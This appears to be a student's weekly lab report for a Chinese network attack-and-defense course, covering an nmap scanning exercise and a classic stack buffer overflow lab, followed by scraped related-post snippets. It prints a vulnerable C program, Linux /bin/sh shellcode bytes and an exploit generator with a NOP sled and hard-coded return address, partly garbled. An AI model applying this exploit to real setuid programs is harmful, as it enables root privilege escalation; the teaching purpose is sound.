20169217 2016-2017-2 《网络攻防实践》第十周学习总结

实践报告

和结对同学一起完成,分别作为攻击方和防守方,提交自己攻击和防守的截图

1)攻击方用nmap扫描(给出特定目的的扫描命令)
2)防守方用tcpdump嗅探,用Wireshark分析(保留Wireshark的抓包数据),分析出攻击方的扫描目
的和nmap命令

和赵京鸣一组,攻击机ip为222.28.132.218,靶机ip为222.28.132.98
首先查看了靶机的ip,然后进行ping通

靶机使用tcpdump嗅探,设置过滤条件,发现了攻击机的ip。


攻击机使用nmap的不同参数对靶机进行端口扫描


靶机使用Wireshark条件过滤攻击机发送的数据包,并进行分析

缓冲区攻击的原理

一. 缓冲区溢出的原理

通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。

例如下面程序:

void function(char *str) 

{

 char buffer[16];

 strcpy(buffer,str);

 }

上面的strcpy()将直接吧str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf()等。

当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation
fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。
 
缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。

shellcode编写

Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。

Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就十分重要。
缓冲区溢出的shellcode很多了,这里重现下缓冲区溢出。

实验楼网络攻防课就有相关实验,我们就以实验楼上的shellcode为例进行实验。

shellcode.c在Linux下生成一个shell

#include <unistd.h>
int main()
{
        char *name[2];
        name[0] = "/bin/sh";
        name[1] = NULL;
        execve(name[0], name, NULL);
        _exit(0);
}

    漏洞程序

stack.c,保存到 /tmp 目录下

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)

 {

 char buffer[12];

/* The following statement has a buffer overflow problem */

 strcpy(buffer, str);

return 1; 

}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

攻击程序

exploit.c,保存到 /tmp 目录下

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
//获得一个shell
"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80

oid main(int argc, char **argv) { char buffer[517]; FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */ 

memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */

 strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90

\x90\x90\x90\x90\x94\xd0\xff\xff");// 地址为根据实验结果算出的。 

strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */

 badfile = fopen("./badfile", "w"); 

fwrite(buffer, 517, 1, badfile);

 fclose(badfile); 

}

用以下命令得到shellcode在内存中的地址

GDB disassemble可以反汇编一个函数。

gdb stack

disass main

结果如图:

编译exploit.c程序:

gcc -m32 -o exploit exploit.c

先运行攻击程序exploit,再运行漏洞程序stack。 用whoami命令验证一下自己现在的身份。

时间: 2024-11-09 08:36:40

20169217 2016-2017-2 《网络攻防实践》第十周学习总结的相关文章

网络攻防实践 第十周作业

网络攻防实践作业 html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,tabl

2017-2018-2 20179204《网络攻防实践》第一周学习总结

第1节 对师生关系的理解 原先我对师生关系的理解是"教学相长".本周通过阅读 优秀的教学方法---做教练与做中学 ,理解了相关的理论和老师的具体应用过程,我又对师生关系又有了更多元的了解--理想的师生关系是健身教练和健身学员之间的关系. 从trainee的比喻来看,大学.研究生阶段更需要的是我们进行自主学习,首先要意识到自己学习的重要性和必要性,只有自己需要学习,才能驱除惰性,有更多的动力:作为trainee还需要有不怕吃苦.坚持不懈的精神,这是学生所必备的品质. 从trainer的比

2017-2018-2 20179213《网络攻防实践》第九周学习

教材学习 第九章 恶意代码安全攻防 恶意代码定义 ?? 恶意代码是指使计算机按照攻击者的意图执行以达到恶意目标的指令集. 类型包括:计算机病毒.蠕虫.恶意移动代码.后门.特洛伊木马.僵尸程序.内核套件.融合型恶意代码. 计算机病毒 基本特性:感染性.潜伏性.可触发性.破坏性.衍生性 感染及引导机制:可执行文件.引导扇区.支持宏指令的数据文件. 传播机制:移动存储.电子邮件.下载.共享目录. 网络蠕虫 基本特性:通过网络自主传播 组成结构:弹头.传播引擎.目标选择算法.扫描引擎.有效载荷 后门与木

2017-2018-2 20179204《网络攻防实践》第一周学习总结之linux基础

我在实验楼中学习了Linux基础入门课程,这里做一个学习小结. 第一节 linux系统简介 本节主要介绍了linux是什么.发展历史.重要人物.linux与window的区别以及如何学习linux. 1.什么是linux Linux是一个操作系统,就像Windows(xp,7,8)和 Mac OS.Linux 主要是系统调用和内核那两层.直观地看,操作系统还包含一些在其上运行的应用程序,比如文本编辑器.浏览器.电子邮件等. 2.linux与windows的区别 linux免费或收取少许费用: l

《网络攻防》第十周学习总结

缓冲区溢出漏洞实践 由于实验楼提供的是64位操作系统,而本次实验为了方便观察汇编语句,采用32位操作系统,所以先按照要求进行一些必要的准备 先按顺序输入下面的三个命令安装32位操作系统 安装好之后就切换到32位操作系统中 Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键.因此我们使用以下命令关闭这一功能: linux系统中,/bin/sh实际是指向/bin/bas

2017-2018-1 20179206《网络攻防实践》第一周作业

a.你对师生关系的理解,希望是哪种关系? 我认为师生关系是一种相互平等交流的关系. 为什么这样说,因为这是由网络攻防实践这门可得特殊性来决定的,网络攻防是门实践课,需要大量的联练习和摸索,同时大部分学生对这一领域不熟悉,需要学习Linux在内的很多新东西,在中间会产生大量的新问题,这些问题需要向老师请教,如果能够尽可能的成为一种相互平等的关系,同学会更乐于去发现问题和请教问题,从而能爱上实践,爱上这门课. b.如何提问? l 提问的内容要先自我独立解决: 作为一门计算机实践课,首先放在第一位的就

2017-2018-2 20179215《网络攻防实践》第一周作业

<网络攻防开发与实践> 第一周作业 一.对师生关系的理解 ?对于研究生和导师的关系就不像中学或大学,仅仅是以传授知识为主,研究生阶段,导师起到引路的作用,给学生指点以及方向,而不仅仅是教学,传授的更应该是方法,因为此时研究生阶段学生有了自己的思想,对事物能进行更深刻的思考,想法往往更加新颖,所以导师引领方向,学生开拓创新. 二.如何提问 顺应:从对方观点中延展出你的问题,不要另起炉灶: 提升:把对方所讲的内容,归纳.升华.拔高,成为更具有概括性,更深刻的大问题,再从这个大问题出发提出你自己具体

《网络攻防》第七周学习总结

Kali教材学习 本周主要学习了<网络攻防---技术与实践>第7章的内容,主要学习了 Windows操作系统安全攻防         Windows操作系统基本框架 如上图所示,Windows操作系统分为运行于处理器特权模式(ring 0)的操作系统内核,以及运行在处理器非特权模式(ring 3)的用户空间代码.采用宏内核(monolithic)模式进行架构.内核基本模块分为:Windows执行体 .Windows内核体 .设备驱动程序 .硬件抽象层 .Windows窗口与图形界面内核实现代码

《网络攻防》第五周学习总结

教材内容学习 web应用程序体系结构及其安全威胁 web应用体系结构 浏览器 web服务器 web应用程序 数据库 传输协议http/https web应用安全威胁 针对浏览器和终端用户的web浏览安全威胁 针对传输网络的网络协议安全威胁 系统层安全威胁 web服务器软件安全威胁 web应用程序安全威胁 web数据安全威胁 web应用安全攻防技术概述 web应用的信息收集 对目标web应用服务进行发现与剖析,标识出它的基本轮廓,具体包括服务器域名,IP地址和虚拟IP地址,web服务器端口与其他开

《网络攻防》第六周学习总结

教材学习 第五章--TCP/IP网络协议攻击 TCP/IP网络协议栈攻击概述 网络安全属性与攻击模式 网络安全属性:机密性,完整性,可用性,真实性,不可抵赖性 网络攻击基本模式: 截获 篡改 中断 伪造 TCP/IP网络协议栈安全缺陷与攻击技术 网络接口层,互联层,传输层,应用层(P141表格5-1) 原始报文伪造技术及工具 Netwox:强大且易用的开源工具包,可以创建任意的TCP/UDP/IP数据报文 Netwag:GUI界面,发送伪造的欺骗数据包. 网络层协议攻击 IP源地址欺骗 IP源地